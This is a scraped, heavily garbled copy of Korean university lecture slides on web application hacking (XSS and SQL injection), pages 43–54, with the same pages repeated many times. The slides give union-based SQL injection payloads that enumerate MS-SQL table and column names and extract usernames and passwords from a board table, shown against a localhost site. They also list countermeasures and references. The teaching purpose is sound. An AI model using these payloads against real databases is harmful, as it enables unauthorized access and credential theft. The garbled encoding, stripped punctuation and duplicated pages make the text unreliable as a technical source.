Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 43: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 44: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 45: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 46: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 47: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 48: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 49: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 50: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 51: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 52: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 53: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 53

Questions

Page 54

Thank you

Page 54: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 54

Thank you